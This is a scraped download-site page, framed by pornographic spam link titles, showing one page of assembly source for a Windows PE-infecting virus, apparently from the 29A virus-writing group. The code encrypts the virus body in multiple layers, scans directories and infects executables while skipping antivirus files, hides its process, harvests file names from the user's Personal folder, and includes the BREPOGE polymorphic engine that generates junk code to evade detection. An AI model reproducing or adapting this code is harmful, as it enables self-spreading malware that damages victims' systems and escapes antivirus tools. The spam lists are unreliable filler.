亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.008

?? 從29A上收集的病毒源碼
?? 008
?? 第 1 頁 / 共 5 頁
字號:
        loop    genPolyDataL

        mov     al,0c3h
        stosb

        mov     ecx,[lCnt]
        xor     esi,esi
encryptLayers:
        mov     ebx,[kStack+esi]
        mov     edx,[mStack+esi]
        push    esi
        push    ecx
        call    encryptLayer
        pop     ecx
        pop     esi
        add     esi,4
        loop    encryptLayers

        pop     esi
        sub     edi,esi
        mov     ecx,edi
        ret

encryptLayer:
        mov     esi,[poly]
        add     esi,5
        mov     eax,[vsize]
        add     eax,dropperSize
        test    ebx,1
        jz      _encryptLayer8
        shr     eax,1
        mov     ecx,eax
_encryptLayer16l:
        or      edx,edx
        jz      _encryptXOR16
        cmp     edx,_ADD
        je      _encryptADD16
        add     [esi],bx
        jmp     _encryptFNCOK16
_encryptADD16:
        sub     [esi],bx
        jmp     _encryptFNCOK16
_encryptXOR16:
        xor     [esi],bx
_encryptFNCOK16:
        add     esi,2
        loop    _encryptLayer16l
        ret
_encryptLayer8:
        mov     ecx,eax
_encryptLayer8l:
        or      edx,edx
        jz      _encryptXOR8
        cmp     edx,_ADD
        je      _encryptADD8
        add     [esi],bl
        jmp     _encryptFNCOK8
_encryptADD8:
        sub     [esi],bl
        jmp     _encryptFNCOK8
_encryptXOR8:
        xor     [esi],bl
_encryptFNCOK8:
        inc     esi
        loop    _encryptLayer8l
        ret

; - infectpe.inc EOF -

; - findfiles.inc BOF -

[extern FindFirstFileA]
[extern FindNextFileA]
[extern FindClose]
[extern SetCurrentDirectoryA]
[extern GetCurrentDirectoryA]
[extern MessageBoxA]

scandirpe:
        push    dword finddata
        push    dword fmask
        call    FindFirstFileA
        inc     eax
        jz      notFound
        dec     eax

        mov     dword [findHnd],eax

findNext:
        mov     eax,dword [nFileSizeLow]
        cmp     eax,2000h
        jb      skipThisFile
        mov     ecx,PADDING
        xor     edx,edx
        div     ecx
        or      edx,edx
        jz      skipThisFile

        lea     esi,[cFileName]

        mov     edi,esi
        call    isAV
        jc      skipThisFile

        call    infectpe

skipThisFile:
        push    dword finddata
        push    dword [findHnd]
        call    FindNextFileA
        or      eax,eax
        jnz     findNext

endScan:
        push    dword [findHnd]
        call    FindClose

notFound:
        ret

scansubject:
        push    ebp
        mov     ebp,esp
        sub     esp,260
        push    ebp
        sub     ebp,260

        cmp     byte [pflag],1
        jne     near notFoundSubj

        push    ebp
        push    dword 260
        call    GetCurrentDirectoryA
        or      eax,eax
        jz      near notFoundSubjKO

        push    dword PersonalP
        call    SetCurrentDirectoryA
        or      eax,eax
        jz      near notFoundSubjKOBACK

        push    dword finddata
        push    dword fmaskall
        call    FindFirstFileA
        inc     eax
        jz      near notFoundSubjKOBACK
        dec     eax

        mov     dword [findHnd],eax

findNextSubj:
        xor     edx,edx
        mov     dword [ssubj],edx
        lea     esi,[cFileName]
        lea     edi,[gsubject]
storeSubjLoop:
        lodsb
        cmp     al,'.'
        jne     notDot
        xor     eax,eax
notDot:
        cmp     al,'"'
        je      storeSubjLoop
        stosb
        inc     edx
        or      al,al
        jz      subjOk
        cmp     edx,63
        je      subjOk
        jmp     storeSubjLoop
subjOk:
        dec     edx
        mov     dword [ssubj],edx

        push    dword 10h
        call    rnd
        or      eax,eax
        jz      endScanSubj

        push    dword finddata
        push    dword [findHnd]
        call    FindNextFileA
        or      eax,eax
        jnz     findNextSubj

endScanSubj:
        push    dword [findHnd]
        call    FindClose

        push    ebp
        call    SetCurrentDirectoryA

        cmp     dword [ssubj],4
        jb      notFoundSubjKO

notFoundSubj:
        pop     ebp
        leave
        ret

notFoundSubjKOBACK:
        push    ebp
        call    SetCurrentDirectoryA

notFoundSubjKO:
        mov     byte [pflag],0
        pop     ebp
        leave
        ret

; - findfiles.inc EOF -
; - process.inc BOF -

[extern LoadLibraryA]
[extern GetProcAddress]

stealthProc:
        push    dword kernel32dll
        call    LoadLibraryA

        push    dword registerSrvProc
        push    eax
        call    GetProcAddress
        or      eax,eax
        jz      notStealthProc

        push    dword 1
        push    dword 0
        call    eax

notStealthProc:
        ret

; - process.inc EOF -

; - poly.inc BOF -

MAXPOLY         equ     512
MAXLAYER        equ     32 ; from 16 to 32 layers = max about 16kbs poly

_EAX            equ     0
_ECX            equ     1
_EDX            equ     2
_EBX            equ     3
_ESP            equ     4
_EBP            equ     5
_ESI            equ     6
_EDI            equ     7

_XOR            equ     0
_ADD            equ     1
_SUB            equ     2

;
; BREPOGE
;
; it uses simple [XOR|ADD|SUB] as encryption function
; the keys used will be 16 or 8 bits
;
; junk is generated using the same schemes than algorithm code
;
; most basic don't support esp, so don't use esp
;
; check infectpe.inc to see 'how to multi-layer'
;
; brepoge usage:
;
;  in: edi destination buffer
;      esi idx init
;      ecx size to encrypt
; out: ecx size of generated code
;
; required: extern DWORD rnd(DWORD top) -> return rnd number from 0 to top
;
; description of generation scheme:
;
; basic
;
; bmov r32,i32: lea r32,[i32]
;               mov r32,i32
;               push i32 / pop r32
;
; bmov r32,rb32: mov r32,rb32
;                push rb32 / pop r32
;
; baddsub r32,i32: add r32,-i32
;                  sub r32,i32
; push r32
; pop  r32
; push i32
; add r32,i32
; sub r32,i32
; xor [r32],i16/8
; add [r32],i16/8
; sub [r32],i16/8
; or r32,r32 (cmp r32,0)
;
; complex (recursive)
;
; cmov r32,rb32: bmov r32,rb32
;                cmov rt32,rb32 / cmov r32,rt32
;
; cmov r32,i32: bmov r32,i32
;               cmov r32,i32+mod / baddsub r32,mod
;               cmov rt32,i32 / cmov r32,rt32
;
; TO DO
;
; + garbage generator
; + more recursive shit (calls, jmps, cmps)
; + add other encryption funcs (ror/rol)
; + add key slide to encryption algorithm
;
; Just coded to avoid naked viruses :)
;
brepoge:
        push    edi

        mov     [vIdx],esi
        mov     [vCnt],ecx

        push    edi
        lea     edi,[registers]
        xor     eax,eax
        stosd
        stosd
        pop     edi
        mov     byte [registers+_ESP],1
        mov     byte [freer],6

        call    junk

        push    dword 2
        call    rnd
        mov     [mKey],eax

        call    getFreeReg
        mov     [rIdx],eax
        call    getFreeReg
        mov     [rCnt],eax

        push    dword -1
        call    rnd
        test    eax,1
        jz      key8bits
        push    eax
        push    dword -1
        call    rnd
        rol     eax,8
        pop     edx
        adc     eax,edx
        or      eax,1
        jmp     dontclip
key8bits:
        and     eax,0feh
dontclip:
        mov     [vKey],eax

        test    eax,1
        jz      fullcounter

        mov     eax,[vCnt]
        shr     eax,1
        mov     [vCnt],eax
fullcounter:

        push    dword 2
        call    rnd
        or      eax,eax
        jz      callbk00

        call    bk01
        call    junk
        call    bk00
        jmp     endbk00s
callbk00:
        call    bk00
        call    junk
        call    bk01
endbk00s:

        push    edi

        call    junk

        mov     eax,[mKey]
        or      eax,eax
        jz      doXOR

        cmp     eax,_ADD
        je      doADD

        mov     eax,[rIdx]
        mov     edx,[vKey]
        call    _submri
        jmp     endFUNCTION
doADD:
        mov     eax,[rIdx]
        mov     edx,[vKey]
        call    _addmri
        jmp     endFUNCTION
doXOR:
        mov     eax,[rIdx]
        mov     edx,[vKey]
        call    _xormri
endFUNCTION:

        push    dword 2
        call    rnd
        or      eax,eax
        jz      callbk0

        call    bk1
        call    junk
        call    bk0
        jmp     endbks
callbk0:
        call    bk0
        call    junk
        call    bk1
endbks:

        mov     eax,[rCnt]
        call    _orrr

        pop     esi
        sub     esi,edi
        sub     esi,6

        mov     ax,850fh
        stosw
        mov     eax,esi
        stosd

        call    junk

        pop     ecx
        sub     edi,ecx
        xchg    ecx,edi
        ret
bk00:
        mov     eax,[rIdx]
        mov     edx,[vIdx]
        call    cmovri
        ret
bk01:
        mov     eax,[rCnt]
        mov     edx,[vCnt]
        call    cmovri
        ret
bk0:
        call    getFreeReg
        push    eax
        mov     edx,[rIdx]
        mov     ah,dl
        xchg    ah,al
        call    cmovrr

        mov     eax,[esp]
        xor     edx,edx
        dec     edx
        test    dword [vKey],1
        jz      key8bitsb
        dec     edx
key8bitsb:
        call    baddsub

        mov     eax,[esp]
        mov     edx,[rIdx]
        mov     ah,dl
        call    cmovrr

        pop     eax
        call    freeReg
        ret
bk1:
        call    getFreeReg
        push    eax
        mov     edx,[rCnt]
        mov     ah,dl
        xchg    ah,al
        call    cmovrr

        mov     eax,[esp]
        xor     edx,edx
        inc     edx
        call    baddsub

        mov     eax,[esp]
        mov     edx,[rCnt]
        mov     ah,dl
        call    cmovrr

        pop     eax
        call    freeReg
        ret

junk:
        push    dword 4
        call    rnd
        or      eax,eax
        jz      junk1
        mov     ecx,eax
junk0:
        push    ecx
        push    dword -1
        call    rnd
        mov     edx,eax
        call    getFreeReg
        push    eax
        call    cmovri
        pop     eax
        call    freeReg
        pop     ecx
        loop    junk0
junk1:
        ret

_xormri:
        mov     ah,1
        test    dh,0ffh
        jz      __xormri8
        push    eax
        mov     al,66h
        stosb
        pop     eax
        inc     ah
__xormri8:
        dec     ah
        cmp     al,_EBP
        jne     __xormriNOEBP
        mov     al,75h
        add     ah,80h
        xchg    al,ah
        stosw
        mov     al,00
        stosb
        jmp     __xormri0
__xormriNOEBP:
        add     ah,80h
        add     al,30h
        xchg    al,ah
        stosw
__xormri0:
        test    dh,0ffh
        jz      __xormri8b
        mov     ax,dx
        stosw
        ret
__xormri8b:
        mov     al,dl
        stosb
        ret

cmovrr:
        push    eax
        push    dword 2
        call    rnd
        cmp     al,0
        jne     _cmovrr0
        pop     eax
        jmp     bmovrr
_cmovrr0:
        pop     eax
        cmp     byte [freer],0
        je      bmovrr
        push    eax
        call    getFreeReg
        push    eax
        mov     dl,al
        mov     eax,[esp+4]
        mov     ah,dl
        call    cmovrr
        pop     eax
        call    freeReg
        mov     dl,al
        pop     eax
        mov     al,dl
        jmp     cmovrr

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲视频一区二区免费在线观看| 免费高清视频精品| 久久精品国产成人一区二区三区| 成人精品国产福利| 欧美在线观看一二区| 91精品国产免费| 中文字幕精品综合| 久久成人av少妇免费| 色综合视频在线观看| 久久久91精品国产一区二区精品| 亚洲一区二区三区四区在线观看| 国产aⅴ精品一区二区三区色成熟| 欧美精品电影在线播放| 亚洲自拍偷拍综合| 99久久99久久精品国产片果冻 | 91免费版在线看| 日韩欧美一区二区免费| 亚洲国产精品自拍| 91搞黄在线观看| 亚洲欧美视频在线观看视频| 丁香桃色午夜亚洲一区二区三区| 欧美不卡一区二区三区四区| 无吗不卡中文字幕| 精品1区2区3区| 亚洲综合激情小说| 欧美午夜精品久久久| 亚洲精品午夜久久久| 99精品一区二区| 亚洲成a人片在线观看中文| 99国产精品久久久久久久久久| 国产亚洲va综合人人澡精品 | 懂色av一区二区夜夜嗨| www国产成人| 国产美女娇喘av呻吟久久| 久久一区二区视频| 国产精品综合久久| 国产女人aaa级久久久级| 国产精选一区二区三区| 国产精品素人视频| 91亚洲国产成人精品一区二区三| 国产精品天美传媒沈樵| 91亚洲大成网污www| 亚洲综合成人网| 欧美日韩和欧美的一区二区| 日韩一区精品视频| 日韩欧美成人激情| 国产成人在线看| 国产三级精品在线| 91浏览器入口在线观看| 亚洲综合成人网| 日韩女同互慰一区二区| 国产精品亚洲一区二区三区妖精| 国产精品日产欧美久久久久| 色综合一个色综合亚洲| 亚洲午夜久久久久久久久电影院| 欧美精品日韩综合在线| 精品一区二区成人精品| 中文字幕欧美区| 色视频成人在线观看免| 亚洲福利一区二区三区| 欧美xxx久久| 日韩三级电影网址| 国产精品亚洲а∨天堂免在线| 国产精品美日韩| 欧美图片一区二区三区| 国产一区二区三区不卡在线观看 | 欧美成人在线直播| 成人国产视频在线观看| 日韩一区精品视频| 国产精品乱码一区二区三区软件| 91黄色免费网站| 麻豆一区二区99久久久久| 久久久久久久久99精品| 欧美日韩专区在线| 久久激情五月婷婷| 中文字幕一区二区三区精华液 | 欧美性生交片4| 国产曰批免费观看久久久| 一区二区三区中文字幕精品精品| 日韩一区二区免费在线观看| 91色porny蝌蚪| 国产一区二区电影| 日韩成人午夜电影| 亚洲欧美国产高清| 久久久久久久久久久久久夜| 欧美精品第1页| 91欧美一区二区| 国产91在线看| 精品亚洲国产成人av制服丝袜| 日韩一区中文字幕| 久久精品欧美一区二区三区不卡 | 国产凹凸在线观看一区二区| 一区二区三区国产| 亚洲婷婷在线视频| 国产精品视频九色porn| 精品久久久三级丝袜| 国产午夜精品在线观看| 欧美一区二区三区四区久久| 色噜噜狠狠一区二区三区果冻| 国产黄色成人av| 韩国毛片一区二区三区| 日韩av网站在线观看| 亚洲成人动漫在线免费观看| 亚洲最新在线观看| 亚洲免费观看视频| 中文字幕亚洲区| 国产精品电影一区二区三区| 久久精品视频免费观看| 久久综合一区二区| 欧美不卡在线视频| 精品国产sm最大网站| 欧美一区二区三区影视| 宅男噜噜噜66一区二区66| 在线中文字幕不卡| 一本大道综合伊人精品热热| 99久精品国产| 色狠狠一区二区三区香蕉| 色噜噜狠狠成人中文综合| 91高清在线观看| 欧美日韩美少妇 | 97久久人人超碰| 成年人午夜久久久| 99麻豆久久久国产精品免费优播| 国产精品影视在线观看| 国产精品乡下勾搭老头1| 国产精品伊人色| 成人18精品视频| 色综合久久精品| 欧美综合天天夜夜久久| 欧洲精品一区二区三区在线观看| 色噜噜夜夜夜综合网| 久久精品日产第一区二区三区高清版| 久久一区二区视频| 国产精品久久久久影视| 亚洲视频在线一区| 天天影视色香欲综合网老头| 日本在线不卡一区| 国产美女娇喘av呻吟久久| eeuss鲁片一区二区三区在线看| 成人激情文学综合网| 一本久道久久综合中文字幕| 欧美羞羞免费网站| 欧美成人a视频| 中文字幕一区在线| 五月天视频一区| 国产精品123| 在线免费观看日本欧美| 日韩免费观看高清完整版| 国产精品情趣视频| 性做久久久久久免费观看| 国产一区二区影院| 91久久人澡人人添人人爽欧美| 91麻豆精品国产91久久久使用方法| 精品卡一卡二卡三卡四在线| 亚洲丝袜另类动漫二区| 美国av一区二区| 色婷婷av一区| 2020国产精品自拍| 午夜精品久久久久影视| 国产黄色成人av| 91精品欧美福利在线观看| 国产精品网站在线观看| 老色鬼精品视频在线观看播放| 成人a区在线观看| 日韩美女在线视频| 一区二区在线观看不卡| 国产精品一区二区视频| 欧美精品 日韩| 亚洲欧美日韩中文字幕一区二区三区| 美国三级日本三级久久99| 欧美中文字幕一区二区三区| 国产三区在线成人av| 日韩va欧美va亚洲va久久| 色悠悠久久综合| 亚洲一区二三区| 成人性视频免费网站| 日韩欧美你懂的| 天天色 色综合| 在线国产亚洲欧美| 欧美猛男男办公室激情| 国产精品麻豆久久久| 国产婷婷色一区二区三区| 青青草精品视频| 欧美在线视频全部完| 国产精品传媒在线| 国产一区二区影院| 精品国内二区三区| 蜜桃视频在线观看一区二区| 欧美日韩你懂得| 亚洲综合免费观看高清完整版| 成人av在线影院| 国产精品久久久爽爽爽麻豆色哟哟 | 精品久久99ma| 免费美女久久99| 欧美一区二区三区男人的天堂| 亚洲国产裸拍裸体视频在线观看乱了 | 欧美色成人综合| 亚洲自拍欧美精品| 日本大香伊一区二区三区| 亚洲丝袜美腿综合|